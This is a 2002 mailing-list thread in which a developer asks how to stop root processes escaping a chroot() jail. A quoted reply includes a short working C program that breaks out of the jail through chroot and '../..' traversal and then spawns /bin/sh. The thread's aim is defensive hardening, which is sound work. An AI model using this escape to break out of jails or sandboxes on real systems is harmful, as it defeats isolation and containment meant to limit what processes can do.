Re: prevent breaking a chroot() jail?

[Shaya Potter <spotter@cs.columbia.edu>]

On Fri, 2002-07-05 at 10:02, Miquel van Smoorenburg wrote:
> In article <1025877004.11004.59.camel@zaphod>,
> Shaya Potter  <spotter@cs.columbia.edu> wrote:
> >I'm trying to develop a way to ensure that one can't break out of a
> >chroot() jail, even as root.  I'm willing to change the way the syscalls
> >work (most likely only for a subset of processes, i.e. processes that
> >are run in the jail end up getting a marker which is passed down to all
> >their children that causes the syscalls to behave differently).
> >What should I be aware of?  I figure devices (no need to run mknod in
> >this jail) and chroot (as per man page), is there any other way of
> >breaking the chroot jail (at a syscall level or otherwise)?
> 
> int main()
> {
> 	chdir("/");
> 	mkdir("foo");
> 	chroot("foo");
> 	chdir("../../../../../../..");
> 	chroot(".");
> 	execl("/bin/sh", "sh", NULL);
> }
> 
> Run as root and you're out of the chroot jail. This is because
> chroot() doesn't chdir() to the new root, so after a chroot() in
> the chroot jail you're suddenly out of it.

yes, that's what the man page says.  Is that the only hole? i.e. if one
changed the semantics of chroot() to also do a chdir() to the new root,
would that be fixed? (not arguing on changing this for everything, just
for something specific)

thanks,

shaya